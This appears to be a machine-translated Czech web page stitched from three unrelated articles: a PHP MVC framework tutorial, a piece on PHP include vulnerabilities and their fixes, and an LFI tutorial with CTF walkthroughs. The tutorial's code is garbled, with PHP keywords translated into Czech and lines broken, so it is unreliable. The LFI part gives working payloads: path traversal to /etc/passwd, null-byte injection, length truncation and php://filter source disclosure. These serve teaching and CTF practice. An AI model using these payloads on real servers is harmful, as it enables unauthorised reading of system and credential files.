    1.1. Front Controller a Page Controller Ve většině případů k interakci uživatele s webovou aplikací dochází kliknutím na odkazy. Podívejte se nyní na adresní řádek vašeho prohlížeče – tento text jste obdrželi z tohoto odkazu. Jiné odkazy, jako jsou odkazy na pravé straně této stránky, vám poskytnou jiný obsah. Odkaz tedy představuje konkrétní příkaz webová aplikace.

    Doufám, že jste si již všimli, že různé stránky mohou být dokonalé různé formáty vytvoření adresního řádku. Každý formát může zobrazit architekturu webové aplikace. I když tomu tak není vždy, ve většině případů jde o jasný fakt.

    Zvažme dvě možnosti pro adresní řádek, které zobrazují nějaký text a uživatelský profil.

    Přibližný kód zpracování v tomto případě:
    switch($_GET["action"]) ( case "about" : require_once("about.php"); // konec stránky "O nás"; case "contacts" : required_once("contacts.php"); // konec stránky "Kontakty" : require_once("feedback.php" // stránka "Zpětná vazba" default: require_once("page404.php" // stránka "404" break;
    Myslím, že to už udělal skoro každý.

    Pomocí nástroje pro směrování adres URL můžete nakonfigurovat aplikaci tak, aby přijímala požadavky, jako je tato, aby zobrazovala stejné informace:
    http://www.example.com/contacts/feedback

    Zde kontakty představují ovladač a zpětná vazba je metoda ovladače kontaktů, která zobrazuje formulář zpětná vazba atd. K této problematice se vrátíme v praktické části.

    Rovněž stojí za to vědět, že mnoho směrovačů webových frameworků umožňuje vytvářet vlastní trasy URL (specifikujte, co každá část adresy URL znamená) a pravidla pro jejich zpracování.
    Nyní máme dostatečné teoretické znalosti, abychom mohli přejít do praxe.

    2. Cvičení Nejprve vytvořte následující strukturu souborů a složek:


    Při pohledu do budoucna řeknu, že základní třídy Model, View a Controller budou uloženy ve složce jádra.
    Jejich děti budou uloženy v adresářích controllerů, modelů a pohledů. Vstupním bodem do aplikace je soubor index.php. Soubor bootstrap.php zahájí načítání aplikace, připojení všech potřebných modulů atp.

    Půjdeme postupně; Otevřeme soubor index.php a naplníme jej následujícím kódem:
    ini_set("zobrazit_chyby", 1); require_once "application/bootstrap.php";
    Tady by neměly být žádné otázky.

    Dále okamžitě přejdeme k souboru bootstrap.php:
    require_once "core/model.php"; require_once "core/view.php"; require_once "core/controller.php"; require_once "core/route.php"; Trasa::start(); //spusťte router
    První tři řádky budou obsahovat aktuálně neexistující soubory jádra. Poslední řádky obsahují soubor s třídou routeru a spouštějí jej k provedení voláním statická metoda Start.

    2.1. Implementace směrovače URL Nyní odbočme od implementace MVC vzor a pojďme udělat směrování. Prvním krokem, který musíme udělat, je napsat následující kód do .htaccess:
    RewriteEngine On RewriteCond %(REQUEST_FILENAME) !-f RewriteCond %(REQUEST_FILENAME) !-d RewriteRule .* index.php [L]
    Tento kód přesměruje veškeré zpracování stránky na index.php, což je to, co potřebujeme. Pamatujete si, že jsme v prvním díle mluvili o Front Controller?!

    Umístíme směrování samostatný soubor route.php do hlavního adresáře. V tomto souboru popíšeme třídu Route, která bude spouštět metody kontroleru, které zase vygenerují zobrazení stránky.

    Obsah souboru route.php

    class Route ( statická funkce start() ( // ovladač a výchozí akce $controller_name = "Main"; $action_name = "index"; $routes = explode("/", $_SERVER["REQUEST_URI"]); // získat název ovladače if (!empty($routes)) ( $controller_name = $routes; ) // získat název akce if (!empty($routes)) ( $action_name = $routes; ) // přidat předpony $model_name = " Model_". $controller_name = "Controller_".$name_controller; $action_name = "action_".$action_name // připojení souboru s třídou modelu (nemusí existovat soubor modelu) $model_file = strtolower; ($model_name ".php"; $model_path = "application/models/".$model_file; if(file_exists($model_path)) ( include "application/models/".$model_file; ) // připojte soubor. s třídou ovladače $controller_file = strtolower ($controller_name).php"; $controller_path = "application/controllers/".$controller_file; if(file_exists($controller_path)) ( include "application/controllers/".$controller_file; ) else ( /* zde by bylo správné vyvolat výjimku, ale pro zjednodušení se okamžitě přesměrujeme na stránku 404 */ Route::ErrorPage404(); ) // vytvořte řadič $controller = new $controller_name ; $akce = $jméno_akce; if(method_exists($controller, $action)) ( // volání akce ovladače $controller->$action(); ) else ( // zde by bylo také moudřejší vyvolat výjimku Route::ErrorPage404(); ) ) function ErrorPage404( ) ( $host = "http://".$_SERVER["HTTP_HOST"]."/"; header("HTTP/1.1 404 Nenalezeno"); header("Stav: 404 nenalezeno"); header("Location:".$host."404"); ) )


    Podotýkám, že třída implementuje velmi zjednodušenou logiku (i přes objemný kód) a může mít dokonce bezpečnostní problémy. Bylo to provedeno záměrně, protože... napsání plnohodnotné třídy směrování si zaslouží minimálně samostatný článek. Podívejme se na hlavní body...

    Globální prvek pole $_SERVER["REQUEST_URI"] obsahuje úplnou adresu, na kterou uživatel kontaktoval.
    Například: example.ru/contacts/feedback

    Pomocí funkce explodovat Adresa je rozdělena na komponenty. V důsledku toho dostaneme název ovladače, pro uvedený příklad je to controller kontakty a název akce, v našem případě - zpětná vazba.

    Dále se připojí soubor modelu (model může chybět) a soubor kontroleru, pokud existuje, a nakonec se vytvoří instance kontroleru a zavolá se akce, znovu, pokud byla popsána ve třídě kontroleru.

    Když tedy přejdete například na adresu:
    example.com/portfolio
    nebo
    example.com/portfolio/index
    Router provede následující akce:

  • bude obsahovat soubor model_portfolio.php ze složky models, obsahující třídu Model_Portfolio;
  • bude obsahovat soubor controller_portfolio.php ze složky controllers obsahující třídu Controller_Portfolio;
  • vytvoří instanci třídy Controller_Portfolio a zavolá výchozí akci - action_index, popsanou v ní.
  • Pokud se uživatel pokusí získat přístup k adrese neexistujícího ovladače, například:
    example.com/ufo
    poté bude přesměrován na stránku „404“:
    example.com/404
    Totéž se stane, pokud uživatel přistoupí k akci, která není popsána v ovladači.2.2. Vraťme se k implementaci MVC Pojďme do základní složky a do souboru route.php přidejte další tři soubory: model.php, view.php a controller.php


    Dovolte mi připomenout, že budou obsahovat základní třídy, které nyní začneme psát.

    Obsah souboru model.php
    model třídy ( veřejná funkce get_data() ( ) )
    Třída modelu obsahuje jednu prázdnou metodu načítání dat, která bude v podřízených třídách přepsána. Když vytvoříme třídy potomků, vše bude jasnější.

    Obsah souboru view.php
    class View ( //veřejné $template_view; // zde můžete zadat výchozí obecný pohled. function generation($content_view, $template_view, $data = null) ( /* if(is_array($data)) ( // převést pole elementy do proměnných extrakt($data ) */ include "application/views/".$template_view;
    Není těžké uhodnout, že metoda generovat určené k vytvoření pohledu. Jsou mu předány následující parametry:

  • $content_file - zobrazení zobrazující obsah stránky;
  • $template_file - šablona společná pro všechny stránky;
  • $data je pole obsahující prvky obsahu stránky. Obvykle se vyplňuje model.
  • Funkce include dynamicky propojuje obecnou šablonu (pohled), do které bude pohled vložen
    k zobrazení obsahu konkrétní stránky.

    V našem případě bude obecná šablona obsahovat záhlaví, nabídku, postranní panel a zápatí a obsah stránky bude obsažen v samostatném formuláři. Opět se to dělá pro jednoduchost.

    Obsah souboru controller.php
    class Controller ( public $model; public $view; funkce __construct() ( $this->view = new View(); ) function action_index() ( ) )
    Metoda akční_index- toto je akce volaná standardně, přepíšeme ji při implementaci podřízených tříd.

    2.3. Implementace následných tříd Model a Controller, vytvoření View "s Nyní začíná zábava! Naše webové stránky vizitek se budou skládat z následujících stránek:
  • Domov
  • Služby
  • Portfolio
  • Kontakty
  • A také - stránka „404“.
  • Každá stránka má svůj vlastní ovladač ze složky controllers a pohled ze složky views. Některé stránky mohou používat model nebo modely ze složky modelů.


    Na předchozím obrázku je samostatně zvýrazněn soubor template_view.php - jedná se o šablonu obsahující označení společné pro všechny stránky. V nejjednodušším případě by to mohlo vypadat takto:
    Domov
    Abychom dali webu reprezentativní vzhled, navrhujeme CSS šablona a integrovat jej do našich webových stránek změnou struktury označení HTML a CSS spojení a soubory JavaScript:

    Na konci článku v části „Výsledek“ je odkaz na úložiště GitHub s projektem, ve kterém byly podniknuty kroky k integraci jednoduché šablony.

    2.3.1. Vytvoření hlavní stránky Začněme ovladačem controller_main.php , zde je jeho kód:
    class Controller_Main rozšiřuje Controller ( funkce action_index() ( $this->view->generate("main_view.php", "template_view.php"); ) )
    V metodě generovat instance třídy View jsou předány názvy souborů obecné šablony a pohled s obsahem stránky.
    Kromě indexové akce může ovladač samozřejmě obsahovat i další akce.

    Soubor obecného zobrazení jsme zkontrolovali dříve. Zvažte obsahový soubor main_view.php:
    Vítejte!

    OLOLOSH TEAM je tým prvotřídních specialistů v oblasti vývoje webových stránek s dlouholeté zkušenosti sbírání mexických masek, bronzových a kamenných soch z Indie a Cejlonu, basreliéfů a soch vytvořených mistry rovníkové Afriky před pěti nebo šesti staletími...


    To obsahuje jednoduché značkování bez volání PHP.
    Pro zobrazení hlavní stránky můžete použít jednu z následujících adres:

    Uvažujeme příklad pomocí pohledu zobrazujícího data získaná z modelu níže.

    2.3.2. Vytvoření stránky „Portfolio“ V našem případě je stránka „Portfolio“ jedinou stránkou, která používá model.
    Model obvykle zahrnuje metody vzorkování dat, například:
  • metody nativních knihoven pgsql nebo mysql;
  • metody knihoven, které implementují abstrakci dat. Například metody knihovny PEAR MDB2;
  • metody ORM;
  • metody práce s NoSQL;
  • atd.
  • Pro jednoduchost zde nebudeme používat SQL dotazy ani ORM příkazy. Místo toho budeme emulovat skutečná data a okamžitě vrátíme pole výsledků.
    Umístěte soubor modelu model_portfolio.php do složky models. Zde je jeho obsah:
    class Model_Portfolio rozšiřuje Model ( veřejná funkce get_data() ( return array(array("Year" => "2012", "Site" => "http://DunkelBeer.ru", "Description" => "Propagační stránka tmavé pivo Dunkel z Německý výrobce Löwenbraü vyrábí v Rusku pivovarnická společnost "SUN InBev.", array("Rok" => "2012", "Site" => "http://ZopoMobile.ru", "Popis" => "Ruský jazyk katalog čínské telefony Společnost Zopo na založené na Androidu OS a příslušenství k nim."), // todo); ) )

    Třída řadiče modelu je obsažena v souboru controller_portfolio.php, zde je její kód:
    class Controller_Portfolio rozšiřuje Controller ( funkce __construct() ( $this->model = new Model_Portfolio(); $this->view = new View(); ) funkce action_index() ( $data = $this->model->get_data( $this->view->generate("portfolio_view.php", "template_view.php", $data ) );
    Do proměnné data pole vrácené metodou je zapsáno získat_data na které jsme se podívali dříve.
    Tato proměnná je pak předána jako parametr metody generovat, který dále obsahuje: název souboru s obecnou šablonou a název souboru obsahujícího pohled s obsahem stránky.

    Pohled obsahující obsah stránky je v souboru portfolio_view.php.
    Portfolio

    Všechny projekty v následující tabulce jsou fiktivní, takže se ani nepokoušejte následovat uvedené odkazy.
    RokProjektPopis


    Vše je zde jednoduché, pohled zobrazuje data získaná z modelu.

    2.3.3. Vytvoření zbývajících stránek Zbývající stránky se vytvoří stejným způsobem. Jejich kód je k dispozici v úložišti GitHub, odkaz na který je uveden na konci článku v sekci „Výsledky“.3. Výsledek Co se nakonec stalo:

    Snímek obrazovky výsledné webové stránky vizitky



    Odkaz na GitHub: https://github.com/vitalyswipe/tinymvc/zipball/v0.1

    Ale v této verzi jsem načrtl následující třídy (a jejich odpovídající typy):

    • Controller_Login, ve kterém je vygenerován pohled s formulářem pro zadání přihlašovacího jména a hesla, po jehož vyplnění se provede autentizační procedura a v případě úspěchu je uživatel přesměrován na admin panel.
    • Contorller_Admin s akcí indexu, která kontroluje, zda byl uživatel na webu dříve autorizován jako správce (pokud ano, zobrazí se zobrazení panelu správce) a akcí odhlášení pro odhlášení.
    Autentizace a autorizace je jiné téma, takže se zde neřeší, ale je uveden pouze výše uvedený odkaz, abyste měli z čeho začít.4. Závěr Vzor MVC se používá jako architektonický základ v mnoha frameworkech a CMS, které byly vytvořeny, aby bylo možné vyvinout kvalitativně složitější řešení za kratší dobu. krátkodobý. To bylo umožněno zvýšením úrovně abstrakce, protože existuje omezení složitosti struktur, se kterými může lidský mozek pracovat.

    Používání webových rámců, jako je Yii nebo Kohana, sestávající z několika stovek souborů, se však při vývoji jednoduchých webových aplikací (například stránek s vizitkami) vždy nedoporučuje. Nyní můžeme vytvořit krásný model MVC, abychom nemíchali PHP, Html, CSS a JavaScript kód v jednom souboru.

    Tento článek je spíše výchozím bodem pro učení CMF než příkladem něčeho skutečně správného, ​​co můžete použít jako základ pro svou webovou aplikaci. Možná vás to i inspirovalo a už přemýšlíte o napsání vlastního microframeworku nebo CMS založeného na MVC. Ale než znovu vynaleznete další kolo s „blackjackem a kurvami“, zamyslete se znovu: možná by bylo rozumnější zaměřit své úsilí na rozvoj a pomoc komunitě již existujícího projektu?!

    P.S.: Článek byl přepsán s ohledem na některé komentáře zanechané v komentářích. Kritika se ukázala jako velmi užitečná. Soudě podle reakce: komentářů, PM a počtu uživatelů, kteří přidali příspěvek do oblíbených, se nápad napsat tento příspěvek ukázal jako ne tak špatný. Bohužel není možné pro nedostatek času zohlednit všechna přání a psát více a podrobněji... ale snad to udělají ti záhadní jedinci, kteří původní verzi odhlasovali. Hodně štěstí s vašimi projekty!

    5. Výběr užitečných odkazů na toto téma Článek se velmi často dotýká tématu webových frameworků - jedná se o velmi široké téma, protože i mikrorámce se skládají z mnoha komponent chytře propojených a bylo by potřeba více než jednoho článku o nich mluvit komponenty. Nicméně jsem se rozhodl přivést sem malý výběr odkazy (kterými jsem se řídil při psaní tohoto článku), které se tak či onak týkají tématu frameworků.

    Štítky: Přidat štítky

    V tomto článku vám povím o jedné z nejběžnějších zranitelností nalezených v PHP skriptech – o „chybě“ include. Naučíte se jak princip fungování, tak některé způsoby, jak tuto zranitelnost eliminovat.

    Pozornost!!! Všechny informace uvedené v tomto článku jsou pouze informativní! Autor nenese žádnou odpovědnost za jeho zneužití!

    Chyba zabezpečení php-include je jednou z nejznámějších, ale také nejběžnějších „děr“, které se dnes v PHP skriptech vyskytují. Dochází k ní, když z nepozornosti, neznalosti nebo z jiného důvodu, který je znám pouze jemu samotnému, programátor umožní použití dat předávaných skriptu ve formě parametrů bez dodatečné kontroly (taková data se také nazývají „označená“ ) jako parametr funkcí include. Abychom lépe porozuměli principu fungování této zranitelnosti, je nutné trochu rozumět výše uvedené funkci.

    php funkce include a také include_once

    Tato funkce se používá pro připojení k běžící php scénář dodatečného softwarových modulů. Navíc na rozdíl od require, který je svými vlastnostmi podobný, funkce include spouští tyto moduly přímo ve svém procesu. V důsledku toho nebudou moduly připojené tímto způsobem spuštěny jako samostatné skripty, ale jako části skriptu, který je propojil. Přesněji, include spustí pouze tu část souboru, která je uzavřena mezi special. značky:

    ""

    Vše ostatní jednoduše vypíše php jako text. Tito. pokud připojíte textový soubor (například: /etc/passwd:)), který neobsahuje zadané značky, interpret vrátí celý obsah tohoto souboru.

    Příklad hovoru:

    Jak jste si pravděpodobně všimli, funkce include má pouze 1 parametr ($file), který určuje cestu a název souboru plug-inu. Za zmínku také stojí, že v unixových systémech (v závislosti na nastavení php) můžete předat jako parametr nejen cestu a název souboru, ale také url (internetovou adresu) souboru (!!!).

    Praxe

    Předpokládejme, že následující PHP skript je nainstalován na nějakém WEB serveru (jeho adresa URL je http://www.superpupersite.com/index.php):

    A také mnoho různých modulů plug-in skriptů:

    home.php
    feedback.php
    ...

    Autor tohoto skriptu předpokládal, že všichni návštěvníci webu se budou pokojně pohybovat z jedné stránky na druhou klikáním na tlačítka, odkazy a další ovládací objekty. A skript v závislosti na předávaném parametru souboru připojí ten či onen modul, čímž vygeneruje různé html stránky (nejčastěji se takto používá include).

    Nedovedl si ani představit, že by se jednoho dne (v chladném zimním období) na místo zatoulala jistý zvídavý Vasja Pupkin. Kdo by na základě své zvědavosti při pohledu na tyto odkazy předpokládal (zatímco ještě neví jak a co tam vlastně je), že parametr souboru není nic jiného než název a cesta k souboru a že skript používá include funkce (není se čemu divit, protože dnes include se používá téměř v každém 3. skriptu). Vasya se okamžitě rozhodl otestovat svůj předpoklad takto:

    Vasya provedl následující požadavek:

    A on to dokázal! Jak bylo zamýšleno, v okně prohlížeče viděl seznam souborů a adresářů. Dále postupně byla objevena „díra“ a byly použity neméně zajímavé scénáře, jejichž podrobný popis by zabral hodně místa a z těchto důvodů zde není publikován :) Obecně platí, že na dlouhou dobu resp. po krátké době to vše skončilo znehodnocením (defacement - nahrazení domovské stránky vlastní). Jak smutný příběh!

    Hubení škůdců

    Po přečtení všeho výše uvedeného si mnozí z vás kladou otázku: „Existují způsoby, jak bojovat s touto hroznou zranitelností? "Ano," odpovídám hrdě :). Zde jsou některé (ne všechny) z nich:

    Z programátorského hlediska je nejjednodušší převést proměnnou $module do číselného formátu (settype($module,"integer"), ale to bude vyžadovat očíslování modulů a také jejich shromažďování v jednom adresáři ("module1" .php“, „module2.php“ …“module.php“).

    Složitější metoda hubení škůdců z hlediska implementace :) je vytvoření samostatného souboru-seznamu modulů, které lze spustit. A podle toho, zda je ten či onen modul v seznamu, spusťte nebo vyhoďte odpovídající chybu (nebo modul spusťte standardně, nebo chcete-li „experimentátora“ vyděsit zprávou, že jeho adresa je pevná a suší sušenky...).
    Příklad:
    switch ($case) // $case - jméno proměnné předané jako parametr skriptu
    {
    zprávy o případu:
    include("novinky.php");
    přestávka;

    články o případu:
    include("kniha hostů.php");
    přestávka;

    ... // atd.
    výchozí:
    include("index.php"); // pokud proměnná $case neobsahuje hodnotu, která je zohledněna výše, otevře se hlavní stránka
    přestávka;
    }

    Třetí metoda je střední – něco mezi 1. a 2. metodou. Stačí pouze nahradit všechny servisní znaky (..","/",""), například pomlčkami. Je pravda, že moduly (pouze spustitelné moduly a nic jiného by tam nemělo být umístěno!!!) by v tomto případě měly být umístěny ve stejném adresáři, ale jejich názvy mohou být normální slova (například „novinky“, „kniha hostů“ atd. .).
    Závěr

    To je v podstatě vše, co jsem vám tentokrát chtěl říct. Závěr z toho všeho by mohl být tento: než použijete data přijatá od uživatele ve svých webových skriptech, zamyslete se nad tím, zda je není třeba předem zkontrolovat a řádně zpracovat. To platí nejen pro datová pole formuláře přenášená prohlížečem ( získat metody a post), ale také cookies (může se k nim dostat i útočník).

    LFI je schopnost používat a provádět místní soubory na straně serveru. Zranitelnost umožňuje vzdálenému uživateli získat přístup pomocí speciálně vytvořené žádosti k libovolným souborům na serveru, včetně těch, které obsahují důvěrné informace.

    Jednoduše řečeno se jedná o zranitelnost při otevírání souborů ze serveru + nedostatečné filtrování, které umožňuje otevřít libovolný soubor.

    Zahrnutí vyhledávacího souboru

    Nejprve pojďme zjistit, jak určit parametry, které jsou zodpovědné za zahrnutí souborů.

    Parametry vyhledávání
    Existují dvě možnosti vyhledávání parametrů: automatické nebo ruční vyhledávání.

    Automatické vyhledávání
    Automatické vyhledávání lze provést pomocí stejného pavouka v burpsuite Článek o burpsuite najdete na naší wiki.

    Manuální vyhledávání
    Nyní budu mluvit o ručním vyhledávání. Předpokládejme, že jsme našli parametr GET:

    Http://site.ru/folder/index.php?file=gallery

    Dosadíme řetězec „index“ za parametr:

    Http://site.ru/folder/index.php?file=index

    Pokud jste otevřeli jeden z indexových souborů (jakékoli přípony) umístěných na webu, pak můžeme s jistotou říci, že soubor je zodpovědný za výměnu souborů.

    Toto jsou parametry, které potřebujeme.

    Definování filtrů
    Poté, co jsme obdrželi seznam parametrů, musíme zkontrolovat, zda mají filtrování.

    Nulová filtrace
    Zkusme nahrát soubory, které jsme neočekávali, že se zobrazí =)

    Ekvivalentem takového souboru v Linuxu je soubor /etc/passwd

    (V tomto případě jsme jako řádek s parametrem vzali http://site.ru/folder/index.php?file=index.html)

    Zkusme to napumpovat:

    Http://site.ru/folder/index.php?file=/../../../../../../etc/passwd

    Vysvětlím, co se děje – přechod do složky /../ znamená posun v hierarchii nahoru (přesněji se jedná o zranitelnost procházení cesty). Protože složka atd leží v kořenové složce, pak se k ní musíme dostat hádáním: to znamená, že čím častěji stoupáme, tím vyšší je šance, že skončíme v kořenové složce (pak musíme několikrát napsat /../).

    Pokud se objeví soubor. Pak zvažte, že jste našli LFI. V tomto případě není žádný filtr.

    Nulový bajt
    V tomto případě jsme vzali http://site.ru/folder/index.php?file=index jako řádek s parametrem, tedy s chybějící koncovkou.
    Ale i bez filtru mohou nastat problémy. Například může být na konec parametru přidána přípona.

    Například s požadavkem /../../../../../../etc/passwd lze převést na

    /../../../../../../etc/passwd.php

    Ale tentokrát je tu možnost opravit řádek Starší verze PHP mají stále chybu zvanou Null Byte Injection.
    Jedním z nich je přiřazení nulového bajtu. Parametry, když jsou přenášeny přes http, jsou šifrovány v šifrování URL. A v tomto kódování vypadá nulový bajt přesně jako %00.

    A protože V PHP a mnoha dalších jazycích jde čtení řádku přesně na nulový bajt, pak jej můžeme přiřadit doprostřed řádku, takže další část řádku je zahozena.

    Pokud v tomto případě zadáme do parametru /../../../../../../etc/passwd.php%00, dostaneme následující řádek:

    Http://site.ru/folder/index.php?file=/../../../../../../etc/passwd%00

    A řádek v paměti serveru bude vypadat takto:

    /../../../../../../etc/passwd%00.php ==> /../../../../../../etc/ passwd

    A nakonec jsme mohli zahodit koncovku a získat požadovaný soubor.

    Limit řetězce
    Další možnost zahození koncovky je možná u String Limit - zkrácení řetězce.
    A jaký je z toho přínos? Ale co když tu část řádku s koncovkou zahodíme, tak získáme řádek, který potřebujeme, ale bez koncovky.

    Tentokrát nám může pomoci linka /./. Vysvětlím, co se děje:

    /./././././index === index

    Přesněji řečeno, v bash jsou tyto dvě linie totožné. Dovolte mi uvést příklad, jak to může pomoci.

    1) Máme parametr, jehož řetězec je zkrácen na 100 znaků 2) Zkusme zobrazit soubor index.txt za předpokladu, že je přiřazena koncovka .php 3) Zkusme zadat index.txt - ve výsledku Výstupem je index.txt.php 4) Chcete-li obejít ochranu, musíte zadat index.txt/././././../....../././ 5) Výsledkem je ukáže se, že k této dlouhé řadě je přidán .php, který je následně zahozen 6 ) Zisk!

    php filtr
    Pro mě je pro lfi nejzajímavější možnost lfi s php filtrem. Hned vám dám příklad.

    Http://site.ru/folder/index.php?file=php://filter/convert.base64-encode/resource=index

    V důsledku toho se v našem prohlížeči nespustí php soubor a zobrazí se jeho zdroje base64.
    Toto je in Nedávno se na soutěžích objevuje stále častěji.

    Využití zranitelnosti

    Pokud čtete tento odstavec, pak jste s největší pravděpodobností již našli LFI. Pak zjistíme, jak nám to může být užitečné.

    Načítání důležitých souborů (nikoli skriptů)
    No, nejtypičtější věcí pro lfi je stahování souborů, které bychom podle plánu správce neměli stahovat. Zde je příklad úkolu:

    Úkol: V rámci služby hostování souborů existuje několik účtů - admin a uživatel (a test hesel). Musíte si stáhnout soubor flag.txt uložený v účtu správce. Řešení: 1) Nahrajte svůj soubor a podívejte se na odkaz ke stažení. Bude to vypadat takto: http://site.ru/download.php?file=user/image.png 2) Složka uživatele skutečně existuje. Ale při stahování z odkazu http://site.ru/user/image.png je chyba 403, což je docela logické. 3) Pro jistotu vytvořme odkaz s jasně chybějícím souborem v uživatelské složce, a pokud je odpověď 404, pak chápeme, že odpověď je 403 == odpověď 200. 4) Zkontrolujeme, zda je pravda, že naše soubor by měl být v cestě admin/flag txt: http://site.ru/admin/flag.txt vrátí 403 (pamatujte na předchozí bod). 5) Proč ne, protože nemůžeme stahovat, nasměrovat skript download.php na soubor, který potřebujeme? Pokusíme se přejít na http://site.ru/download.php?file=admin/flag.txt a získat soubor. 6) Zisk!

    Získávání zdrojů
    Při získávání zdrojů mohou nastat určité problémy. Například při provozu se zdroje nezobrazují, ale spouštějí. V tomto případě nám pomůže následující: krát php filtr.
    Příklady zde jsou docela jednoduché, takže nevidím smysl je uvádět.

    LFI -> RCE
    Protože Vzhledem k tomu, že tato sekce již přechází do nebezpečnější sekce RCE, je celkem logické přesunout diskuzi na toto téma tam. Hledej na webu =)

    Mnoho příkladů

    SharifCTF 2016 - technews

    Řešení

    1. Podívejte se na cestu k obrázkům, otevřete přímo složku /files/ a prohlédněte si složku /flag/ 2. Zkontrolujte existenci souboru /files/flag/flag.txt (chyba 403) 3. Po kontrole burpsuit, Všimli jsme si, že některé obrázky jsou nahrány jako obrázky .php?id=files/images/heart.jpg 4. Pomocí images.php?id = php://filter/convert.base64-encode/resource=files/images/heart. jpg obrázek je vrácen v nezašifrované podobě, což napovídá o myšlenkách regulárního výrazu 5. Prostudujte si formulář a vynechejte regulární výraz pomocí požadavku: images.php?id=php://abcdresource=files/flag/heart. .jpg/resource=files/flag/flag.txt



    
    Horní